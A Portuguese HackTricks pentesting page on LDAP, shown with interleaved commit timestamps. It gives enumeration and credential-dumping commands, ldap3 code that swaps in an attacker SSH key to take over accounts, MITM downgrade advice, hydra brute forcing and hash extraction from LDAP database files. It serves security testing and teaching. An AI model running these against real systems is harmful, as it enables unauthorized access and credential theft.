hacktricks/network-services-pentesting/pentesting-ldap.md

397 lines
19 KiB
Markdown
Raw Normal View History

# 389, 636, 3268, 3269 - Pentesting LDAP
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Trabalha numa **empresa de cibersegurança**? Quer ver a sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
2023-06-06 18:56:34 +00:00
## Informações Básicas
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
Extraído de: [https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP)
LDAP (Lightweight Directory Access Protocol) é um protocolo de software para permitir que qualquer pessoa **localize** organizações, indivíduos e outros **recursos** como arquivos e dispositivos em uma rede, seja na Internet pública ou em uma intranet corporativa. LDAP é uma versão "leve" (menor quantidade de código) do Directory Access Protocol (DAP).
Um diretório LDAP pode ser **distribuído** entre vários servidores. Cada servidor pode ter uma versão **replicada** do diretório total que é **sincronizada** periodicamente. Um servidor LDAP é chamado de Directory System Agent (DSA). Um servidor LDAP que recebe uma solicitação de um usuário assume a responsabilidade pela solicitação, passando-a para outros DSAs conforme necessário, mas garantindo uma única resposta coordenada para o usuário.
Um diretório LDAP é organizado em uma hierarquia simples de "árvore" consistindo dos seguintes níveis:
* O diretório raiz (o ponto de partida ou a fonte da árvore), que se ramifica para
2023-06-06 18:56:34 +00:00
* Países, cada um dos quais se ramifica para
* Organizações, que se ramificam para
* Unidades organizacionais (divisões, departamentos, etc.), que se ramificam para (inclui uma entrada para)
* Indivíduos (que inclui pessoas, arquivos e recursos compartilhados como impressoras)
**Porta padrão:** 389 e 636(ldaps). Global Catalog (LDAP no ActiveDirectory) está disponível por padrão nas portas 3268 e 3269 para LDAPS.
```
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
2023-06-06 18:56:34 +00:00
### Formato de Intercâmbio de Dados LDAP
LDIF (LDAP Data Interchange Format) define o conteúdo do diretório como um conjunto de registros. Também pode representar solicitações de atualização (Adicionar, Modificar, Excluir, Renomear).
```bash
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
* Linhas 1-3 definem o domínio de topo local
* Linhas 5-8 definem o primeiro nível do domínio moneycorp (moneycorp.local)
* Linhas 10-16 definem 2 unidades organizacionais: dev e sales
* Linhas 18-26 criam um objeto do domínio e atribuem atributos com valores
2023-06-06 18:56:34 +00:00
## Escrever dados
Note que se você pode modificar valores, você poderia ser capaz de realizar ações realmente interessantes. Por exemplo, imagine que você **pode alterar a informação "sshPublicKey"** do seu usuário ou de qualquer usuário. É altamente provável que, se esse atributo existir, então **o ssh está lendo as chaves públicas do LDAP**. Se você pode modificar a chave pública de um usuário, você **será capaz de fazer login como esse usuário mesmo que a autenticação por senha não esteja habilitada no ssh**.
```bash
>>> import ldap3
2022-10-05 21:51:12 +00:00
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
2022-10-05 21:51:12 +00:00
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```
## Captura de credenciais em texto claro
2022-10-05 21:51:12 +00:00
Se LDAP é utilizado sem SSL, você pode **capturar credenciais em texto claro** na rede.
2022-10-05 21:51:12 +00:00
Além disso, você pode realizar um ataque **MITM** na rede **entre o servidor LDAP e o cliente.** Aqui você pode fazer um **Ataque de Downgrade** para que o cliente use as **credenciais em texto claro** para fazer login.
2022-10-05 21:51:12 +00:00
**Se SSL é utilizado**, você pode tentar fazer **MITM** como mencionado acima, mas oferecendo um **certificado falso**, se o **usuário aceitá-lo**, você será capaz de rebaixar o método de autenticação e ver as credenciais novamente.
2022-10-05 21:51:12 +00:00
## Acesso Anônimo
2022-10-05 21:51:12 +00:00
### Contornar verificação TLS SNI
De acordo com [**este relatório**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) apenas acessando o servidor LDAP com um nome de domínio arbitrário (como company.com), ele conseguiu contatar o serviço LDAP e extrair informações como um usuário anônimo:
```bash
2022-10-05 21:51:12 +00:00
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
### Vinculações LDAP anônimas
[Vinculações LDAP anônimas](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) permitem que **atacantes não autenticados** recuperem informações do domínio, como uma listagem completa de usuários, grupos, computadores, atributos de contas de usuário e a política de senha do domínio. Esta é uma **configuração legada**, e a partir do Windows Server 2003, apenas usuários autenticados têm permissão para iniciar solicitações LDAP.\
No entanto, administradores podem ter precisado **configurar uma aplicação específica para permitir vinculações anônimas** e concedido mais acesso do que o pretendido, permitindo assim que usuários não autenticados acessem todos os objetos no AD.
2022-10-05 21:51:12 +00:00
## Credenciais Válidas
2022-10-05 21:51:12 +00:00
Se você possui credenciais válidas para fazer login no servidor LDAP, você pode extrair todas as informações sobre o Administrador do Domínio usando:
2022-10-05 21:51:12 +00:00
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
2022-10-05 00:11:28 +00:00
```bash
pip3 install ldapdomaindump
2022-10-05 21:51:12 +00:00
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
2022-10-05 00:11:28 +00:00
```
### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap)
2022-10-04 23:49:59 +00:00
2023-06-06 18:56:34 +00:00
## Enumeração
2022-10-04 23:49:59 +00:00
2023-06-06 18:56:34 +00:00
### Automatizada
2022-10-04 23:49:59 +00:00
Usando isso, você poderá ver a **informação pública** (como o nome do domínio)**:**
2022-10-04 23:49:59 +00:00
```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
2022-10-05 21:51:12 +00:00
### Python
2022-10-04 23:49:59 +00:00
2022-10-05 21:51:12 +00:00
<details>
<summary>Veja a enumeração LDAP com python</summary>
2022-10-05 21:51:12 +00:00
2023-06-06 18:56:34 +00:00
Você pode tentar **enumerar um LDAP com ou sem credenciais usando python**: `pip3 install ldap3`
2022-10-04 23:49:59 +00:00
2023-06-06 18:56:34 +00:00
Primeiro tente **conectar sem** credenciais:
2022-10-04 23:49:59 +00:00
```bash
>>> import ldap3
2022-10-05 21:51:12 +00:00
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
2022-10-04 23:49:59 +00:00
>>> connection.bind()
True
2022-10-05 21:51:12 +00:00
>>> server.info
2022-10-04 23:49:59 +00:00
```
Se a resposta for `True` como no exemplo anterior, você pode obter alguns **dados interessantes** do servidor LDAP (como o **contexto de nomeação** ou **nome de domínio**) a partir de:
2022-10-05 21:51:12 +00:00
```bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
2022-10-05 21:51:12 +00:00
dc=DOMAIN,dc=DOMAIN
```
```markdown
Uma vez que você tenha o contexto de nomenclatura, você pode fazer consultas mais interessantes. Esta consulta simples deve mostrar todos os objetos no diretório:
```
2022-10-05 21:51:12 +00:00
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
Ou **extraia** todo o ldap:
2022-10-04 23:49:59 +00:00
```bash
2022-10-05 21:51:12 +00:00
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
2022-10-04 23:49:59 +00:00
```
2022-10-05 21:51:12 +00:00
</details>
2022-10-04 23:49:59 +00:00
2022-10-05 21:51:12 +00:00
### windapsearch
2022-10-04 23:49:59 +00:00
[**Windapsearch**](https://github.com/ropnop/windapsearch) \*\*\*\* é um script Python útil para **enumerar usuários, grupos e computadores de um domínio Windows** utilizando consultas LDAP.
2022-10-04 23:49:59 +00:00
```bash
2022-10-05 21:51:12 +00:00
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
2022-10-04 23:49:59 +00:00
```
2022-10-05 21:51:12 +00:00
### ldapsearch
Verifique credenciais nulas ou se suas credenciais são válidas:
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```
```bash
2022-05-01 12:49:36 +00:00
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
```
Se você encontrar algo dizendo que o "_bind must be completed_" significa que as credenciais estão incorretas.
2023-06-06 18:56:34 +00:00
Você pode extrair **tudo de um domínio** usando:
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
2022-07-13 14:08:05 +00:00
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
```
2023-06-06 18:56:34 +00:00
Extrair **usuários**:
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
Extrair **computers**:
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
2023-06-06 18:56:34 +00:00
Extrair **minhas informações**:
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extrair **Domain Admins**:
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
2023-06-06 18:56:34 +00:00
Extrair **Usuários do Domínio**:
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extrair **Enterprise Admins**:
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extrair **Administrators**:
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
2023-06-06 18:56:34 +00:00
Extrair **Grupo de Área de Trabalho Remota**:
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Para verificar se você tem acesso a alguma senha, você pode usar o grep após executar uma das consultas:
```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
```
Por favor, note que as senhas que você pode encontrar aqui podem não ser as reais...
2022-05-01 13:25:53 +00:00
#### pbis
Você pode baixar o **pbis** daqui: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) e geralmente é instalado em `/opt/pbis`.\
**Pbis** permite que você obtenha informações básicas facilmente:
```bash
2021-01-19 17:57:39 +00:00
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
2021-01-06 00:15:17 +00:00
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
2021-01-06 00:15:17 +00:00
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
```
2023-06-06 18:56:34 +00:00
## Interface Gráfica
2022-05-01 13:25:53 +00:00
### Apache Directory
2020-09-13 20:20:14 +00:00
[**Baixe o Apache Directory aqui**](https://directory.apache.org/studio/download/download-linux.html). Você pode encontrar um [exemplo de como usar esta ferramenta aqui](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s).
2020-09-13 20:20:14 +00:00
2022-05-01 13:25:53 +00:00
### jxplorer
2020-09-13 20:20:14 +00:00
2023-06-06 18:56:34 +00:00
Você pode baixar uma interface gráfica com servidor LDAP aqui: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
Por padrão, é instalado em: _/opt/jxplorer_
2022-09-30 10:43:59 +00:00
![](<../.gitbook/assets/image (22) (1).png>)
### Godap
Você pode acessá-lo em [https://github.com/Macmod/godap](https://github.com/Macmod/godap)
2023-06-06 18:56:34 +00:00
## Autenticação via kerberos
Usando `ldapsearch`, você pode **autenticar** contra **kerberos em vez** de via **NTLM** usando o parâmetro `-Y GSSAPI`
2022-05-01 13:25:53 +00:00
## POST
2023-06-06 18:56:34 +00:00
Se você pode acessar os arquivos onde os bancos de dados estão contidos (podem estar em _/var/lib/ldap_). Você pode extrair os hashes usando:
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
Você pode alimentar o john com o hash da senha (de '{SSHA}' até 'structural' sem adicionar 'structural').
2023-06-06 18:56:34 +00:00
### Arquivos de Configuração
2023-06-06 18:56:34 +00:00
* Geral
* containers.ldif
* ldap.cfg
* ldap.conf
* ldap.xml
* ldap-config.xml
* ldap-realm.xml
* slapd.conf
2023-06-06 18:56:34 +00:00
* Servidor IBM SecureWay V3
* V3.sas.oc
2023-06-06 18:56:34 +00:00
* Servidor Microsoft Active Directory
* msadClassesAttrs.ldif
* Servidor Netscape Directory 4
* nsslapd.sas\_at.conf
* nsslapd.sas\_oc.conf
2023-06-06 18:56:34 +00:00
* Servidor de diretório OpenLDAP
* slapd.sas\_at.conf
* slapd.sas\_oc.conf
* Servidor Sun ONE Directory 5.1
* 75sas.ldif
## Comandos Automáticos HackTricks
```
2021-08-12 13:06:00 +00:00
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
2021-08-15 17:52:05 +00:00
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
2021-08-15 17:52:05 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-ldap
2021-08-15 17:52:05 +00:00
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
2021-08-15 17:52:05 +00:00
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
2021-08-15 17:52:05 +00:00
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
2021-08-15 17:52:05 +00:00
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
2021-09-13 15:45:07 +00:00
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
2021-08-12 13:06:00 +00:00
```
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Trabalha numa **empresa de cibersegurança**? Quer ver a sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>